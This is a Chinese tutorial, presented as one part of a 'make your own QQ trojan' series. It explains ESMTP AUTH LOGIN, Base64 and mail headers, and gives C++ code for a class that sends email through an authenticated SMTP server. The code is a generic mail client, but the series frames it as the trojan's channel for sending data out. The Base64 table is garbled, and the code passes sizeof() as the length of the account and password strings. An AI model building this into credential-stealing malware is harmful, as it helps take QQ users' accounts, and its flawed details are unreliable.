自己动手做QQ木马----邮件发送篇
以往各网站的EMail系统均是根据标准的SMTP协议编写的,现在为了更有效地抑制垃圾邮件的泛滥,国内各大免费邮箱提供商纷纷开始采用ESMTP的方式设计E-mail收发服务。发送邮件需要对用户的身份进行验证,如果帐号和密码有误,ESMTP服务器则拒绝发送该邮件返回553错误代码。通过对协议的分析我找到设计这样EMail的方法,我们可以用Visual Baisc轻松完成。
一、 认证方式
ESMTP(Extension SMTP)即认证的邮件传输方式,是邮件服务器系统为了限制非本系统的正式用户利用本系统散发垃圾邮件或其他不当行为而开设的一项安全认证服务。它与传统的SMTP方式相比,主要的不同有两点:
1. 支持8-bit MIME格式的编码。
2. 支持用户身份的验证。
多了一道用户身份的验证手续,验证之后的邮件发送过程与传统的SMTP方式一致。为了方便用户的使用,绝大多数的ESMTP服务器都继承了POP3服务器的帐号和密码设置体系,也就是说收发邮件都用同一个帐号和密码。
根据[RFC 2554]规范,SMTP的认证功能主要是增加了AUTH命令。AUTH命令有多种用法,而且有多种认证机制。AUTH支持的认证机制主要有LOGIN,CRAM-MD5[注1]等。LOGIN应该是大多数免费邮件服务器都支持的,网易与新浪都支持。下面主要针对LOGIN方式进行介绍,其它方式请根据相应的RFC 规范进行修改。
LOGIN 方式口令-应答过程如下(S:表示服务器返回,C:表示客户端发送)
1. C: AUTH LOGIN
2. S: 334 dXNlcm5hbWU6 // dXNlcm5hbWU6是username:的BASE64编码
3. C: dXNlcm5hbWU6
4. S: 334 cGFzc3dvcmQ6 // cGFzc3dvcmQ6是password:的BASE64编码
5. C: cGFzc3dvcmQ6
6. S: 235 Authentication successful.
(1). 为客户端向服务器发送认证指令。
(2). 服务端返回base64编码串,成功码为334。编码字符串解码后为"username:",说明要求客户端发送用户名。
(3). 客户端发送用base64编码的用户名,此处为"username:"。
(4). 服务端返回base64编码串,成功码为334。编码字符串解码后为"password:",说明要求客户端发送用户口令。
(5). 客户端发送用base64编码的口令,此处为"password:"。
(6). 成功后,服务端返回码为235,表示认证成功可以发送邮件了
二:BASE64编码原理 (BBS 水木清华站Visualc版)
Base64编码其实是将3个8位字节转换为4个6位字节,( 3*8 = 4*6 = 24 ) 这4个六位字节 其实仍然是8位,只不过高两位被设置为0. 当一个字节只有6位有效时,它的取值空间为0 到 2的6次方减1 即63,也就是说被转换的Base64编码的每一个编码的取值空间为(0~63) 。
事实上,0~63之间的ASCII码有许多不可见字符,所以应该再做一个映射,映射表为
‘A‘ ~ ‘Z‘ ? ASCII(0 ~ 25)
‘a’ ~ ‘z‘ ? ASCII(26 ~ 51)
‘0’ ~ ‘9‘ ? ASCII(52 ~ 61)
‘+‘ ? ASCII(62)
‘/‘ ? ASCII(63)
这样就可以将3个8位字节,转换为4个可见字符。
具体的字节拆分方法为:(图(画得不好,领会精神 :-))
aaaaaabb ccccdddd eeffffff //abcdef其实就是1或0,为了看的清楚就用abcdef代替
~~~~~~~~ ~~~~~~~~ ~~~~~~~~
字节 1 字节 2 字节 3
||
\/
00aaaaaa 00bbcccc 00ddddee 00ffffff
注:上面的三个字节位原文,下面四个字节为Base64编码,其前两位均为0。
这样拆分的时候,原文的字节数量应该是3的倍数,当这个条件不能满足时,用全零字节
补足,转化时Base64编码用=号代替,这就是为什么有些Base64编码以一个或两个等号结
束的原因,但等号最多有两个,因为:如果F(origin)代表原文的字节数,F(remain)代
表余数,则
F(remain) = F(origin) MOD 3 成立。
所以F(remain)的可能取值为0,1,2.
如果设 n = [F(origin) – F(remain)] / 3
当F(remain) = 0 时,恰好转换为4*n个字节的Base64编码。
当F(remain) = 1 时,由于一个原文字节可以拆分为属于两个Base64编码的字节,为了
让Base64编码是4的倍数,所以应该为补2个等号。
当F(remain) = 2 时,由于两个原文字节可以拆分为属于3个Base64编码的字节,同理,
应该补上一个等号。
三:邮件格式
也就是服务器要求输入DATA的时候,客户输入的邮件整个内容,如果输入的邮件格式不符服务器拒绝发送邮件返回441邮件头的某些域不符合服务器要求的格式。
头标由一个域名开始,然后一个冒号,接着是域主体部分,最后是<CRLF>序列指示行结束。下面的头标是必须的:
Date 指示创建这个消息的时间和日期 发信时间
From,或者Sender和From 包含发送该消息的用户标志 发件箱
To,cc(抄送)或Bcc(密抄) 包含消息希望被发送到的用户标志 收件箱
其他的一些头标域是可选的,如:Return-path Reply-To, References, Keywords, Subject, Comments, Encrypted等这里就不一一解释了。
在本程序中使用CSmtp_fz类来发送邮件,其中成员函数InitContent完成对DATA数据的格式化如下:
void CSmtp_fz::InitContent()
{
CTime time = CTime::GetCurrentTime();
CString strContent[5];
//发件人
strContent[0].Format("From: %s\r\n",
m_mailMsg.mail_from_address);
//时间
strContent[1].Format("Date: %s\r\n",
time.Format("%A, %B %d, %I:%M:%S, %Y"));
//收件人
strContent[2].Format("To: %s\r\n",
m_mailMsg.mail_to_address);
//主题
strContent[3].Format("Subject: %s\r\n",
m_mailMsg.mail_subject);
//正文
strContent[4].Format("Content %s\r\n",
m_mailMsg.mail_content);
m_strContent = strContent[0] + strContent[1] + strContent[2]
+ strContent[3] + strContent[4];
return;
}
m_strContent是CSmtp_fz类的成员变量,用于存放要发送的数据内容。
四:邮件发送
bool CSmtp_fz::SendMail()
{
InitContent();
CSocket socket;
CString str, strResponse;
CBase64 base64;
if(!socket.Create())
return false;
if (socket.Connect(m_mailMsg.mail_server_name,
m_mailMsg.mail_server_port))
{
CSocketFile file(&socket);
CArchive arIn(&file, CArchive::load | CArchive::bNoFlushOnDelete);
CArchive arOut(&file, CArchive::store | CArchive::bNoFlushOnDelete);
while (TRUE)
{
// SMTP server ready
//Say HELLO TO MAIL SERVER
arIn.ReadString(strResponse);
if ("220" != strResponse.Left(3)) break;
CString strTemp;
gethostname(strTemp.GetBuffer(256), 256);
strTemp.ReleaseBuffer();
str.Format("HELO %s\r\n", (LPCSTR)strTemp);
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
if ("250" != strResponse.Left(3)) break;
//CERTIFICATION
str = "AUTH LOGIN \r\n";
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
if ("334" != strResponse.Left(3)) break;
str = base64.Encode(LPCSTR(m_mailMsg.mail_account),
sizeof(m_mailMsg.mail_account));
str = str + "\r\n";
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
if ("334" != strResponse.Left(3)) break;
str = base64.Encode(LPCSTR(m_mailMsg.mail_password),
sizeof(m_mailMsg.mail_password));
str = str + "\r\n";
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
if ("235" != strResponse.Left(3)) break;
// MAIL FROM command
str.Format("MAIL FROM: <%s>\r\n",
(LPCSTR)(m_mailMsg.mail_from_address));
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
if ("250" != strResponse.Left(3)) break;
// RCPT TO command
str.Format("RCPT TO: <%s", m_mailMsg.mail_to_address);
str = str + ">\r\n";
arOut.WriteString(str); arOut.Flush();
arIn.ReadString(strResponse);
strResponse = strResponse.Left(3);
if (("250" != strResponse) && ("251" != strResponse)) break;
// DATA command
arOut.WriteString("DATA\r\n"); arOut.Flush();
arIn.ReadString(strResponse);
strResponse = strResponse.Left(3);
if (("250" != strResponse) && ("354" != strResponse))break;
//发送数据
CString strBuffer;
strBuffer = m_strContent;
// . -> ..
// .. -> ...
if ((!strBuffer.IsEmpty()) && ('.' == strBuffer[0]))
strBuffer = '.' + strBuffer;
str = strBuffer;
arOut.WriteString(str);
arOut.WriteString(".\r\n"); arOut.Flush();
arIn.ReadString(strResponse);
if("250" != strResponse.Left(3))break;
// QUIT command
arOut.WriteString("QUIT\r\n"); arOut.Flush();
arIn.ReadString(strResponse);
return true;
}
}
else
{
str.Format("SMTP Host %s can't reach.", m_mailMsg.mail_server_name);
MessageBox(NULL, str, "Error", MB_OK);
return false;
}
MessageBox(NULL, "Connection is reset.", "Error", MB_OK);
return false;
}
参考资料:
<<用VB设计有安全认证服务的Email>> 2002-09-17·刘静·yesky